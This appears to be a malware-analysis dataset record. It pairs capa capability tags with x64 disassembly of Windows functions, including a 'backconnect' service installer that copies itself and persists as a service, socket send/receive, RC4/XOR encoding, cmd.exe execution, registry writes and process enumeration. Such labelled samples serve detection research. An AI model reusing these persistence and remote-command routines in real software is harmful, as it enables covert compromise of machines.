joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001000
Capabilities:
Copy file
Create directory
Create service
Initialize winsock library
Persist via windows service
Set current directory
Start service
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x420
sub rsp, 0x20
movabs rcx, 0x140006206
call fcn.1400049e6
add rsp, 0x20
sub rsp, 0x20
mov rcx, 0x202
lea rdx, [rbp - 0x410]
call qword [sym.imp.ws2_32.dll_WSAStartup]
add rsp, 0x20
sub rsp, 0x20
call fcn.1400045e5
add rsp, 0x20
sub rsp, 0x20
mov rcx, 0x7d0
call qword [sym.imp.kernel32.dll_Sleep]
add rsp, 0x20
sub rsp, 0x20
lea rcx, str.C:_backconnect
call qword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
add rsp, 0x20
lea rax, str.backconnect
mov qword [0x1411f9eba], rax
lea rax, [0x14000137e]
mov qword [0x1411f9ec2], rax
sub rsp, 0x20
lea rcx, [0x1411f9eba]
call qword [sym.imp.advapi32.dll_StartServiceCtrlDispatcherA]
add rsp, 0x20
cmp rax, 0
jne 0x140001228
sub rsp, 0x20
mov rcx, 0
mov rdx, 0
mov r8, 2
call qword [sym.imp.advapi32.dll_OpenSCManagerA]
add rsp, 0x20
mov qword [rbp - 0x10], rax
cmp rax, 0
je 0x1400011ec
sub rsp, 0x20
lea rcx, str.C:_backconnect
mov rdx, 0
call qword [sym.imp.kernel32.dll_CreateDirectoryA]
add rsp, 0x20
sub rsp, 0x20
mov rcx, 0
lea rdx, [rbp - 0x410]
mov r8, 0x400
call qword [sym.imp.kernel32.dll_GetModuleFileNameA]
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x410]
lea rdx, str.C:_backconnect_server.exe
mov r8, 0
call qword [sym.imp.kernel32.dll_CopyFileA]
add rsp, 0x20
sub rsp, 0x70
mov rcx, qword [rbp - 0x10]
lea rdx, str.backconnect
lea r8, str.backconnect
mov r9, 0xf01ff
mov qword [rsp + 0x20], 0x110
mov qword [rsp + 0x28], 2
mov qword [rsp + 0x30], 1
lea rax, str.C:_backconnect_server.exe
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0
call qword [sym.imp.advapi32.dll_CreateServiceA]
add rsp, 0x70
mov qword [rbp - 8], rax
cmp rax, 0
je 0x1400011da
sub rsp, 0x20
mov rcx, qword [rbp - 8]
call qword [sym.imp.advapi32.dll_CloseServiceHandle]
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.advapi32.dll_CloseServiceHandle]
add rsp, 0x20
sub rsp, 0x20
call fcn.14000123d
add rsp, 0x20
test rax, rax
je 0x140001228
sub rsp, 0x20
mov rcx, 0
lea rdx, str.Service_successfully_installed_
lea r8, str.SUCCESS
mov r9, 0x40
call qword [sym.imp.user32.dll_MessageBoxA]
add rsp, 0x20
sub rsp, 0x20
mov rcx, 0
call qword [sym.imp.kernel32.dll_ExitProcess]
Function at 0x14000123d
Capabilities:
Start service

Disassembly:
push rbp
mov rbp, rsp
push rbx
push rdi
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0x18
mov qword [rbp - 0x50], 0
sub rsp, 0x20
mov rcx, 0
mov rdx, 0
mov r8, 2
call qword [sym.imp.advapi32.dll_OpenSCManagerA]
add rsp, 0x20
mov qword [rbp - 0x48], rax
cmp rax, 0
je 0x1400012f7
sub rsp, 0x20
mov rcx, qword [rbp - 0x48]
lea rdx, str.backconnect
mov r8, 0x10
call qword [sym.imp.advapi32.dll_OpenServiceA]
add rsp, 0x20
mov qword [rbp - 0x40], rax
cmp rax, 0
je 0x1400012e5
sub rsp, 0x20
mov rcx, qword [rbp - 0x40]
mov rdx, 0
mov r8, 0
call qword [sym.imp.advapi32.dll_StartServiceA]
add rsp, 0x20
mov qword [rbp - 0x50], rax
sub rsp, 0x20
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.advapi32.dll_CloseServiceHandle]
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.advapi32.dll_CloseServiceHandle]
add rsp, 0x20
mov rax, qword [rbp - 0x50]
add rsp, 0x18
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbx
pop rbp
ret
Function at 0x140003f48
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbp
mov rbp, rsp
push rax
push rbx
push rcx
push rdx
push rdi
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0x410
sub rsp, 0x20
lea rcx, [rbp - 0x450]
mov rdx, 0x400
call fcn.1400045aa
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x458]
mov rdx, 8
call fcn.1400045aa
add rsp, 0x20
mov rsi, qword [rbp + 0x20]
mov rdi, qword [rbp + 0x10]
mov rcx, qword [rbp + 0x28]
xor rbx, rbx
jmp 0x140003fd3
mov al, byte [rbx + rdi]
xor byte [rsi], al
inc rsi
inc rbx
dec rcx
cmp rbx, qword [rbp + 0x18]
jne 0x140003fd3
xor rbx, rbx
cmp ecx, 0
jg 0x140003fbc
cmp qword [rbp - 0x458], 1
je 0x1400040b5
movabs rax, 0xfffefdfc
mov rcx, 0x40
mov dword [rbp + rcx*4 - 0x454], eax
sub rax, 0x4040404
dec rcx
jne 0x140003ff7
xor rax, rax
mov rdi, qword [rbp + 0x10]
xor rbx, rbx
mov rsi, qword [rbp + 0x18]
jmp 0x140004020
inc bl
dec rsi
je 0x140004010
mov dl, byte [rcx + rbp - 0x450]
add al, byte [rbx + rdi]
add al, dl
mov dh, byte [rax + rbp - 0x450]
mov byte [rcx + rbp - 0x450], dh
mov byte [rax + rbp - 0x450], dl
inc cl
jne 0x140004019
mov rdi, qword [rbp + 0x28]
mov rsi, qword [rbp + 0x20]
test rdi, rdi
je 0x1400040a5
xor rax, rax
xor rdx, rdx
xor rcx, rcx
xor rbx, rbx
inc bl
mov dl, byte [rbx + rbp - 0x450]
add al, dl
mov cl, byte [rax + rbp - 0x450]
mov byte [rbx + rbp - 0x450], cl
mov byte [rax + rbp - 0x450], dl
add cl, dl
mov cl, byte [rcx + rbp - 0x450]
xor byte [rsi], cl
inc rsi
dec rdi
jne 0x14000405e
xor rax, rax
lea rdi, [rbp - 0x450]
mov rcx, 0x40
cld
rep stosd dword [rdi], eax
mov qword [rbp - 0x458], 1
jmp 0x140003fab
add rsp, 0x410
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rdx
pop rcx
pop rbx
pop rax
pop rbp
ret
Function at 0x1400041fb
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbp
mov rbp, rsp
push rbx
push rdi
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0x38
mov qword [rbp - 0x40], 0xa
cmp qword [rbp + 0x28], 0
je 0x140004248
mov edx, 0xffffffff
sub rsp, 0x20
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
add rsp, 0x20
mov rsi, qword [rbp + 0x18]
jmp 0x1400042e3
sub rsp, 0x30
mov rcx, qword [rbp + 0x10]
mov rdx, 0
lea r8, [rbp - 0x68]
mov r9, 0
mov qword [rsp + 0x20], 0
call fcn.140004187
add rsp, 0x30
sub rsp, 0x30
mov rcx, 0
mov rdx, 0
lea r8, [rbp - 0x68]
mov r9, 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.ws2_32.dll_select]
add rsp, 0x30
cmp eax, 1
jne 0x1400042ee
sub rsp, 0x20
mov rcx, qword [rbp + 0x10]
mov rdx, rsi
mov r8, qword [rbp + 0x20]
mov r9, 0
call qword [sym.imp.ws2_32.dll_send]
add rsp, 0x20
test eax, eax
jle 0x1400042ee
sub qword [rbp + 0x20], rax
add rsi, rax
dec qword [rbp - 0x40]
je 0x1400042ee
cmp qword [rbp + 0x20], 0
jne 0x140004251
cmp qword [rbp + 0x28], 0
je 0x140004307
sub rsp, 0x20
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.kernel32.dll_SetEvent]
add rsp, 0x20
mov rax, qword [rbp + 0x20]
add rsp, 0x38
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbx
pop rbp
ret

Function at 0x14000431c
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
push rbp
mov rbp, rsp
push rbx
push rdi
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0x28
sub rsp, 0x30
mov rcx, qword [rbp + 0x10]
mov rdx, 0
lea r8, [rbp - 0x60]
mov r9, 0
mov qword [rsp + 0x20], 0
call fcn.140004187
add rsp, 0x30
sub rsp, 0x30
mov rcx, 0
lea rdx, [rbp - 0x60]
mov r8, 0
mov r9, 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.ws2_32.dll_select]
add rsp, 0x30
cmp rax, 1
jne 0x1400043c1
sub rsp, 0x20
mov rcx, qword [rbp + 0x10]
mov rdx, qword [rbp + 0x18]
mov r8, qword [rbp + 0x20]
mov r9, 0
call qword [sym.imp.ws2_32.dll_recv]
add rsp, 0x20
add rsp, 0x28
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbx
pop rbp
ret

Function at 0x140004502
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
push rbp
mov rbp, rsp
push rbx
push rdi
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0x78
sub rsp, 0x20
lea rcx, [rbp - 0xa8]
mov rdx, 0x70
call fcn.1400045aa
add rsp, 0x20
mov dword [rbp - 0xa8], 0x70
mov rax, qword [rbp + 0x20]
mov dword [rbp - 0xa4], eax
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x90], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp - 0x88], rax
mov qword [rbp - 0x80], 0
mov qword [rbp - 0x78], 5
mov qword [rbp - 0x98], 0
sub rsp, 0x20
lea rcx, [rbp - 0xa8]
call qword [sym.imp.shell32.dll_ShellExecuteExA]
add rsp, 0x20
add rsp, 0x78
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbx
pop rbp
ret
Function at 0x1400045e5
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
push rbp
mov rbp, rsp
push rbx
push rdi
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0x428
sub rsp, 0x20
mov rcx, 2
mov rdx, 1
mov r8, 6
call qword [sym.imp.ws2_32.dll_socket]
add rsp, 0x20
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x458], 1
sub rsp, 0x30
mov rcx, qword [rbp - 0x40]
mov rdx, 6
mov r8, 1
lea r9, [rbp - 0x458]
mov qword [rsp + 0x20], 8
call qword [sym.imp.ws2_32.dll_setsockopt]
add rsp, 0x30
sub rsp, 0x20
mov rcx, 0x7f000001
call qword [sym.imp.ws2_32.dll_htonl]
add rsp, 0x20
mov dword [rbp - 0x4c], eax
sub rsp, 0x20
lea rcx, [0x1400061e8]
call fcn.140004b98
add rsp, 0x20
sub rsp, 0x20
mov rcx, rax
call qword [sym.imp.ws2_32.dll_htons]
add rsp, 0x20
mov word [rbp - 0x4e], ax
mov word [rbp - 0x50], 2
sub rsp, 0x20
mov rcx, qword [rbp - 0x40]
lea rdx, [rbp - 0x50]
mov r8, 0x10
call qword [sym.imp.ws2_32.dll_connect]
add rsp, 0x20
cmp eax, 0xffffffff
je 0x140004727
sub rsp, 0x20
mov rcx, qword [rbp - 0x40]
movabs rdx, str.exit
mov r8, 4
mov r9, 0
call fcn.1400041fb
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rbp - 0x40]
lea rdx, [rbp - 0x450]
mov r8, 0x400
call fcn.14000431c
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rbp - 0x40]
mov rdx, 2
call qword [sym.imp.ws2_32.dll_shutdown]
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rbp - 0x40]
call fcn.1400043d2
add rsp, 0x20
add rsp, 0x428
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbx
pop rbp
ret

Function at 0x14000474c
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbp
mov rbp, rsp
push rbx
push rdi
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0x18
lea rdx, [rbp - 0x38]
sub rdx, rsp
sub rsp, 0x20
lea rcx, [rsp + 0x20]
call fcn.1400045aa
add rsp, 0x20
mov qword [rbp - 0x50], 0x64
sub rsp, 0x40
mov rcx, qword [rbp + 0x10]
mov rdx, 0x40000000
mov r8, 0
mov r9, 0
mov rax, qword [rbp + 0x28]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0x80
mov qword [rsp + 0x30], 0
call qword [sym.imp.kernel32.dll_CreateFileA]
add rsp, 0x40
mov qword [rbp - 0x40], rax
cmp eax, 0xffffffff
jne 0x1400047ec
cmp qword [rbp - 0x50], 0
je 0x1400047ec
dec qword [rbp - 0x50]
jmp 0x140004794
cmp eax, 0xffffffff
je 0x14000484e
sub rsp, 0x20
mov rcx, qword [rbp - 0x40]
mov rdx, 0
mov r8, 0
mov r9, qword [rbp + 0x30]
call qword [sym.imp.kernel32.dll_SetFilePointer]
add rsp, 0x20
sub rsp, 0x30
mov rcx, qword [rbp - 0x40]
mov rdx, qword [rbp + 0x18]
mov r8, qword [rbp + 0x20]
lea r9, [rbp - 0x48]
mov qword [rsp + 0x20], 0
call qword [sym.imp.kernel32.dll_WriteFile]
add rsp, 0x30
sub rsp, 0x20
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.kernel32.dll_CloseHandle]
add rsp, 0x20
add rsp, 0x18
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbx
pop rbp
ret
Function at 0x14000485f
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbp
mov rbp, rsp
push rbx
push rdi
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0x18
lea rdx, [rbp - 0x38]
sub rdx, rsp
sub rsp, 0x20
lea rcx, [rsp + 0x20]
call fcn.1400045aa
add rsp, 0x20
mov qword [rbp - 0x50], 0x64
sub rsp, 0x40
mov rcx, qword [rbp + 0x10]
movabs rdx, 0x80000000
mov r8, 0
mov r9, 0
mov rax, qword [rbp + 0x28]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0x80
mov qword [rsp + 0x30], 0
call qword [sym.imp.kernel32.dll_CreateFileA]
add rsp, 0x40
mov qword [rbp - 0x40], rax
cmp eax, 0xffffffff
jne 0x140004902
cmp qword [rbp - 0x50], 0
je 0x140004902
dec qword [rbp - 0x50]
jmp 0x1400048a7
cmp eax, 0xffffffff
je 0x140004983
sub rsp, 0x20
mov rcx, qword [rbp - 0x40]
mov rdx, 0
mov r8, 0
mov r9, qword [rbp + 0x30]
call qword [sym.imp.kernel32.dll_SetFilePointer]
add rsp, 0x20
jmp 0x14000496a
sub rsp, 0x30
mov rcx, qword [rbp - 0x40]
mov rdx, qword [rbp + 0x18]
mov r8, qword [rbp + 0x20]
lea r9, [rbp - 0x48]
mov qword [rsp + 0x20], 0
call qword [sym.imp.kernel32.dll_ReadFile]
add rsp, 0x30
cmp eax, 0
je 0x140004971
cmp eax, 0
jl 0x140004971
mov rax, qword [rbp - 0x48]
sub qword [rbp + 0x20], rax
add qword [rbp + 0x18], rax
cmp qword [rbp + 0x20], 0
jne 0x14000492d
sub rsp, 0x20
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.kernel32.dll_CloseHandle]
add rsp, 0x20
add rsp, 0x18
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbx
pop rbp
ret
Function at 0x1400011c0
Capabilities:
Create process on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
mov qword [r11 + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0xc0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rbx, rcx
mov qword [r11 - 0x38], rcx
mov r8, qword [rcx + 0x10]
mov rcx, qword [rcx + 0x18]
mov rax, rcx
sub rax, r8
xor r14d, r14d
cmp rax, 3
jb 0x14000128a
lea rax, [r8 + 3]
mov qword [rbx + 0x10], rax
mov rdi, rbx
cmp rcx, 0xf
jbe 0x14000121f
mov rdi, qword [rbx]
lea rax, [0x140003423]
mov esi, 3
lea r15, [0x140003420]
cmp rax, rdi
jbe 0x140001252
lea rax, [rdi + r8]
cmp r15, rax
ja 0x140001252
cmp rdi, r15
ja 0x14000124a
mov rbp, r14
jmp 0x140001255
mov rbp, rdi
sub rbp, r15
jmp 0x140001255
mov rbp, rsi
lea rcx, [rdi + 3]
inc r8
mov rdx, rdi
call sub.VCRUNTIME140.dll_memmove
mov r8, rbp
mov rdx, r15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rdi + rbp]
sub rsi, rbp
lea rdx, [r15 + 3]
add rdx, rbp
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
jmp 0x14000129e
mov esi, 3
mov qword [rsp + 0x28], rsi
mov edx, esi
mov rcx, rbx
call fcn.140001ad0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x80], xmm0
movups xmmword [rsp + 0x90], xmm0
mov dword [rsp + 0x30], 0x70
mov dword [rsp + 0x34], 0x40
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x40], r14
lea rax, str.cmd.exe
mov qword [rsp + 0x48], rax
mov rax, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x1400012fd
mov rax, qword [rbx]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], r14
mov dword [rsp + 0x60], r14d
mov qword [rsp + 0x68], r14
lea rcx, [rsp + 0x30]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x140001333
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rsp + 0xa8]
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14000138e
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x140001389
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400013ca
mov rcx, r8
call fcn.140001cac
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.140001c50
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x1400013e0
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x68
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov eax, dword [0x140005718]
xor ecx, ecx
cmp byte [0x140005074], cl
mov dword [rsp + 0x48], eax
mov qword [rsp + 0x50], rcx
je 0x140001440
mov byte [0x140005074], cl
lea rax, [0x140005708]
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
lea rdx, str.SOFTWAREMicrosoftIdentityCRL
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov rcx, qword [rsp + 0x50]
mov r10, qword [0x140005708]
lea rax, [r10 - 1]
cmp rax, 0xfffffffffffffffd
ja 0x1400014af
lea rax, [rsp + 0x48]
mov dword [rsp + 0x28], 8
mov qword [rsp + 0x40], rax
lea rdx, str.GlobalDeviceUpdateTime
lea rax, [rsp + 0x38]
mov dword [rsp + 0x38], 3
mov qword [rsp + 0x30], rax
mov r9d, 0xb
lea rax, [rsp + 0x30]
xor r8d, r8d
mov rcx, r10
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140001c50
add rsp, 0x68
ret
mov rax, rcx
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140001c50
add rsp, 0x68
ret

Function at 0x1400014d0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x290
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x280], rax
xor ebp, ebp
xor edx, edx
xor esi, esi
lea ecx, [rbp + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rsp + 0x150]
mov dword [rsp + 0x150], 0x130
mov rcx, rax
mov r14, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
nop dword [rax]
lea rdx, str.notepad.exe
lea rcx, [rsp + 0x17c]
call qword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbsicmp]
test eax, eax
jne 0x1400015b7
mov edi, dword [rsp + 0x158]
lea ecx, [rax + 2]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400015a8
xor edx, edx
lea rcx, [rsp + 0x24]
mov r8d, 0x12c
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x1400015a8
mov rcx, rbx
cmp dword [rsp + 0x28], edi
je 0x140001609
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140001590
xor eax, eax
cmp eax, esi
jbe 0x1400015b7
mov ebp, dword [rsp + 0x158]
mov esi, eax
lea rdx, [rsp + 0x150]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140001530
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebp
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.140001c50
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x3c]
jmp 0x1400015aa
Function at 0x1400025d0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000261a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000261a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000261a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000261a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000261a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000261c
xor al, al
add rsp, 0x28
ret
Function at 0x140003770
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x58
mov rax, qword [0x1400680c0]
xor rax, rsp
mov qword [rsp + 0x48], rax
call fcn.14001b4b0
test al, al
jne 0x140003799
call fcn.14001b550
test al, al
jne 0x14000388d
lea rcx, [rsp + 0x20]
mov byte [rsp + 0x20], 0
call fcn.1400038a0
mov rdx, rax
mov r8, 0xffffffffffffffff
cmp byte [rax + 0x2704], 0
je 0x140003810
mov r10, r8
lea r9, [rax + 1]
sub r10, rax
movabs r11, 0x2967333707df99f9
nop
lea ecx, [r9 + r10]
mov rax, r11
and cl, 7
shl cl, 3
shr rax, cl
movzx ecx, r9b
xor byte [r9 - 1], al
sub cl, dl
and cl, 7
mov rax, r11
shl cl, 3
shr rax, cl
xor byte [r9], al
add r9, 2
lea rax, [r10 + r9]
cmp rax, 0x2704
jb 0x1400037d0
mov byte [rdx + 0x2704], 0
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rsp + 0x28], xmm0
movdqu xmmword [rsp + 0x38], xmm1
inc r8
cmp byte [rdx + r8], 0
jne 0x140003821
lea rcx, [rsp + 0x28]
call fcn.140002e60
call fcn.140017120
mov rdx, qword [rsp + 0x40]
cmp rdx, 0xf
jbe 0x140003873
mov rcx, qword [rsp + 0x28]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000386e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003887
call fcn.14001ebb0
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14001eb90
add rsp, 0x58
ret
call fcn.14002669c
int3
xor ecx, ecx
call fcn.1400259b8
int3
Function at 0x140019740
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x30
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x140019762
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdi
je 0x1400197dc
mov rdi, r14
mov rcx, rbx
call fcn.1400026d0
test rax, rax
jle 0x1400197b4
mov rdx, qword [rbx + 0x38]
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov r8, rbp
mov rdx, qword [rdx]
call fcn.14003a0e0
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x1400197cc
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x1400197d4
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x140019776
sub r14, rdi
jmp 0x1400198bf
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x1400197f3
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1400197f5
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140019827
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.14003a0e0
mov rax, qword [rbx + 0x50]
add rsi, rdi
sub rbp, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x1400198bc
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140019862
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rbp, 0xfff
jbe 0x14001989d
nop dword [rax + rax]
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.14002840c
add rsi, rax
sub rbp, rax
cmp rax, 0xfff
jne 0x1400198bc
cmp rbp, rax
ja 0x140019870
test rbp, rbp
je 0x1400198bc
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.14002840c
sub rbp, rax
sub r14, rbp
mov rbp, qword [rsp + 0x28]
mov rax, r14
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret